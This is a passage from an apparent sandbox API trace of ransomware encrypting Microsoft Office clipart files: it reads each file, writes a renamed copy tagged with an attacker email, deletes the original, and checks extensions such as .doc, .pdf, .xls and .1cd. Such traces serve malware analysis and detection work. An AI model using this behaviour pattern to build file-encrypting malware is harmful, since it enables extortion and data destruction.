lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.232] SetEndOfFile (hFile=0x230) returned 1 [0221.232] CloseHandle (hObject=0x230) returned 1 [0221.232] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.232] SetEndOfFile (hFile=0x1e8) returned 1 [0221.232] CloseHandle (hObject=0x1e8) returned 1 [0221.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0221.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0221.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0221.233] lstrlenW (lpString=".doc") returned 4 [0221.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.233] lstrlenW (lpString=".docx") returned 5 [0221.233] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.233] lstrlenW (lpString=".pdf") returned 4 [0221.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.233] lstrlenW (lpString=".xls") returned 4 [0221.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.233] lstrlenW (lpString=".xlsx") returned 5 [0221.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.233] lstrlenW (lpString=".ppt") returned 4 [0221.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0221.233] lstrlenW (lpString=".zip") returned 4 [0221.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.233] lstrlenW (lpString=".rar") returned 4 [0221.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.233] lstrlenW (lpString=".bz2") returned 4 [0221.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.233] lstrlenW (lpString=".7z") returned 3 [0221.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0221.233] lstrlenW (lpString=".dbf") returned 4 [0221.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0221.233] lstrlenW (lpString=".1cd") returned 4 [0221.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0221.233] lstrlenW (lpString=".jpg") returned 4 [0221.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.234] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=8552) returned 1 [0221.234] CloseHandle (hObject=0x1e8) returned 1 [0221.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x20 [0221.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0221.234] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.234] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0221.234] GetLastError () returned 0x0 [0221.234] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x2168, lpOverlapped=0x0) returned 1 [0221.283] WriteFile (in: hFile=0x230, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x2170, lpOverlapped=0x0) returned 1 [0221.284] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.284] WriteFile (in: hFile=0x230, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.284] SetEndOfFile (hFile=0x230) returned 1 [0221.284] CloseHandle (hObject=0x230) returned 1 [0221.284] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.285] SetEndOfFile (hFile=0x1e8) returned 1 [0221.285] CloseHandle (hObject=0x1e8) returned 1 [0221.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0221.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0221.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0221.286] lstrlenW (lpString=".doc") returned 4 [0221.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.286] lstrlenW (lpString=".docx") returned 5 [0221.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.286] lstrlenW (lpString=".pdf") returned 4 [0221.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.286] lstrlenW (lpString=".xls") returned 4 [0221.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.286] lstrlenW (lpString=".xlsx") returned 5 [0221.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.286] lstrlenW (lpString=".ppt") returned 4 [0221.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0221.286] lstrlenW (lpString=".zip") returned 4 [0221.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.286] lstrlenW (lpString=".rar") returned 4 [0221.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.286] lstrlenW (lpString=".bz2") returned 4 [0221.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.286] lstrlenW (lpString=".7z") returned 3 [0221.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0221.286] lstrlenW (lpString=".dbf") returned 4 [0221.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0221.286] lstrlenW (lpString=".1cd") returned 4 [0221.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0221.286] lstrlenW (lpString=".jpg") returned 4 [0221.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.287] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=16396) returned 1 [0221.287] CloseHandle (hObject=0x1e8) returned 1 [0221.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x20 [0221.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0221.287] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.287] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0221.287] GetLastError () returned 0x0 [0221.287] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x400c, lpOverlapped=0x0) returned 1 [0221.339] WriteFile (in: hFile=0x230, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x4010, lpOverlapped=0x0) returned 1 [0221.340] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.340] WriteFile (in: hFile=0x230, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.340] SetEndOfFile (hFile=0x230) returned 1 [0221.340] CloseHandle (hObject=0x230) returned 1 [0221.340] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.340] SetEndOfFile (hFile=0x1e8) returned 1 [0221.341] CloseHandle (hObject=0x1e8) returned 1 [0221.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0221.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0221.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0221.341] lstrlenW (lpString=".doc") returned 4 [0221.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.341] lstrlenW (lpString=".docx") returned 5 [0221.341] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.341] lstrlenW (lpString=".pdf") returned 4 [0221.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.341] lstrlenW (lpString=".xls") returned 4 [0221.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.341] lstrlenW (lpString=".xlsx") returned 5 [0221.341] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.341] lstrlenW (lpString=".ppt") returned 4 [0221.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0221.342] lstrlenW (lpString=".zip") returned 4 [0221.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.342] lstrlenW (lpString=".rar") returned 4 [0221.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.342] lstrlenW (lpString=".bz2") returned 4 [0221.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.342] lstrlenW (lpString=".7z") returned 3 [0221.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0221.342] lstrlenW (lpString=".dbf") returned 4 [0221.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0221.342] lstrlenW (lpString=".1cd") returned 4 [0221.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0221.342] lstrlenW (lpString=".jpg") returned 4 [0221.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.343] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=5260) returned 1 [0221.343] CloseHandle (hObject=0x1e8) returned 1 [0221.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x20 [0221.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0221.343] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.343] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0221.344] GetLastError () returned 0x0 [0221.344] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x148c, lpOverlapped=0x0) returned 1 [0221.373] WriteFile (in: hFile=0x230, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0221.373] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.373] WriteFile (in: hFile=0x230, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.373] SetEndOfFile (hFile=0x230) returned 1 [0221.421] CloseHandle (hObject=0x230) returned 1 [0221.421] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.421] SetEndOfFile (hFile=0x1e8) returned 1 [0221.422] CloseHandle (hObject=0x1e8) returned 1 [0221.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0221.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0221.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0221.423] lstrlenW (lpString=".doc") returned 4 [0221.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.423] lstrlenW (lpString=".docx") returned 5 [0221.423] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.423] lstrlenW (lpString=".pdf") returned 4 [0221.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.423] lstrlenW (lpString=".xls") returned 4 [0221.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.423] lstrlenW (lpString=".xlsx") returned 5 [0221.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.423] lstrlenW (lpString=".ppt") returned 4 [0221.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0221.423] lstrlenW (lpString=".zip") returned 4 [0221.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.423] lstrlenW (lpString=".rar") returned 4 [0221.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.423] lstrlenW (lpString=".bz2") returned 4 [0221.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.423] lstrlenW (lpString=".7z") returned 3 [0221.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0221.423] lstrlenW (lpString=".dbf") returned 4 [0221.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0221.423] lstrlenW (lpString=".1cd") returned 4 [0221.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0221.423] lstrlenW (lpString=".jpg") returned 4 [0221.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.444] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=15164) returned 1 [0221.444] CloseHandle (hObject=0x1e8) returned 1 [0221.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x20 [0221.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0221.444] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.444] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0221.445] GetLastError () returned 0x0 [0221.445] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x3b3c, lpOverlapped=0x0) returned 1 [0221.529] WriteFile (in: hFile=0x230, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x3b40, lpOverlapped=0x0) returned 1 [0221.696] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.696] WriteFile (in: hFile=0x230, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.696] SetEndOfFile (hFile=0x230) returned 1 [0221.696] CloseHandle (hObject=0x230) returned 1 [0221.696] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.696] SetEndOfFile (hFile=0x1e8) returned 1 [0221.697] CloseHandle (hObject=0x1e8) returned 1 [0221.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0221.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0221.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0221.703] lstrlenW (lpString=".doc") returned 4 [0221.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.703] lstrlenW (lpString=".docx") returned 5 [0221.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.703] lstrlenW (lpString=".pdf") returned 4 [0221.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.703] lstrlenW (lpString=".xls") returned 4 [0221.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.703] lstrlenW (lpString=".xlsx") returned 5 [0221.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.703] lstrlenW (lpString=".ppt") returned 4 [0221.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0221.703] lstrlenW (lpString=".zip") returned 4 [0221.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.703] lstrlenW (lpString=".rar") returned 4 [0221.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.703] lstrlenW (lpString=".bz2") returned 4 [0221.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.703] lstrlenW (lpString=".7z") returned 3 [0221.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0221.703] lstrlenW (lpString=".dbf") returned 4 [0221.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0221.703] lstrlenW (lpString=".1cd") returned 4 [0221.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.703] lstrlenW 